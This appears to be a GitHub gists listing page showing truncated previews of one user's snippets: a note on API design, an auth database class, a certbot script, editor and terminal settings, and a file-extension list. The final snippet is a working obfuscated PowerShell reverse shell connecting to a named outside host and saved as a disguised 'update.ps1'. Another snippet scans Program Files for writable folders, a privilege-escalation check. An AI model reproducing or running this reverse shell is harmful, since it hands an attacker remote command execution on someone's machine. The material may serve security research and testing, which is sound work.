This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Leaders Makes Sense | |
| Leaders do things that make sense. When they implement an API, the API does the same things as the other APIs they've already implemented, and in the same ways they already do those things. When they make a waiter that waits on their own API operations, the waiters wait as long as the API operations take to perform the API operation, not for exactly 120 seconds or less. | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import sqlite3 | |
| import uuid | |
| from datetime import datetime, timedelta | |
| class AuthDB: | |
| def __init__(self, db_path='auth.db'): | |
| self.db_path = db_path | |
| self.init_db() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| HOST=myhost.example.com | |
| certbot certonly --preferred-challenges dns --server https://acme-v02.api.letsencrypt.org/directory --manual -d "$HOST" | |
| /opt/kasm/bin/stop | |
| cd "/etc/letsencrypt/archive/$HOST" | |
| cp "$(ls | grep fullchain | tail -n 1)" /opt/kasm/current/certs/kasm_nginx.crt | |
| cp "$(ls | grep privkey | tail -n 1)" /opt/kasm/current/certs/kasm_nginx.key |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $filename = -join ((65..90) + (97..122) | Get-Random -Count 32 | % {[char]$_}) | |
| Write-Host "Testing with filename: $filename" | |
| "C:\Program Files", "C:\Program Files (x86)" | ForEach-Object { | |
| $outerDir = $_ | |
| Get-ChildItem -Directory -Recurse $outerDir | ForEach-Object { | |
| $innerDir = $_ | |
| try { | |
| $out = New-Item -Path $innerDir.FullName -Name $filename -ErrorAction Stop | Out-String | |
| Write-Warning "Path is writable: $($innerDir.FullName)" | |
| $out = Remove-Item -Path $($innerDir.FullName + "\$filename") -ErrorAction Stop | Out-String |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * Uses the borwser's speech synthesis API to speak the given text. Example: | |
| * | |
| * speak('This is a secret mission in uncharted space.', 2, 1, 2); | |
| * | |
| * @param {string} test The text to speak. | |
| * @param {float} rate The rate at which to speak the text, between 0.1 and 10. | |
| * @param {float} pitch The pitch at which to speak the text, between 0 and 2. | |
| * @param {int} voice The voice to use, e.g. 3. | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "$help": "https://aka.ms/terminal-documentation", | |
| "$schema": "https://aka.ms/terminal-profiles-schema", | |
| "actions": | |
| [ | |
| { | |
| "command": | |
| { | |
| "action": "globalSummon" | |
| }, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "workbench.colorTheme": "Solarized Dark", | |
| "editor.mouseWheelScrollSensitivity": 2, | |
| "editor.hover.delay": 600, | |
| "editor.occurrencesHighlight": false, | |
| "editor.renderLineHighlight": "all", | |
| "editor.semanticHighlighting.enabled": true, | |
| "editor.folding": false, | |
| "indenticator.showCurrentDepthInStatusBar": false, | |
| "indenticator.showHover": false, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ | |
| NOTE: This requires Python 3.9+ simply due to the use of "tuple" as a type hint. | |
| If you remove type hints this works back to at least 3.4, and likely older. | |
| """ | |
| import subprocess | |
| import sys | |
| def syscmd(cmd: str) -> tuple[int, bytes]: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| accdb | |
| accde | |
| ace | |
| ade | |
| adp | |
| ani | |
| apk | |
| app | |
| appcontent-ms | |
| appinstaller |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # reverse shell hostname/ip | |
| $h = "research.jdgregson.com" | |
| # reverse shell port | |
| $p = 80 | |
| # drop the shell | |
| $shell = '$J=New-Object System.Net.Sockets.TCPClient("HOST",PORT);$SS=$J.GetStream();[byte[]]$OO=0..((2-shl(3*5))-1)|%{0};$OO=([text.encoding]::UTF8).GetBytes((Get-Location).Path+"> ");$SS.Write($OO,0,$OO.Length);while(($A=$SS.Read($OO,0,$OO.Length)) -ne 0){;$DD=(New-Object System.Text.UTF8Encoding).GetString($OO,0,$A);$GG=(i`eX $DD 2>&1|Out-String);$H=$GG+(pwd).Path+"> ";$L=([text.encoding]::UTF8).GetBytes($H);$SS.Write($L,0,$L.Length);$SS.Flush()};$JJ.Close()' -replace "HOST",$h -replace "PORT",$p | |
| $script = "$env:temp\update.ps1" | |
| $shell > $script |
NewerOlder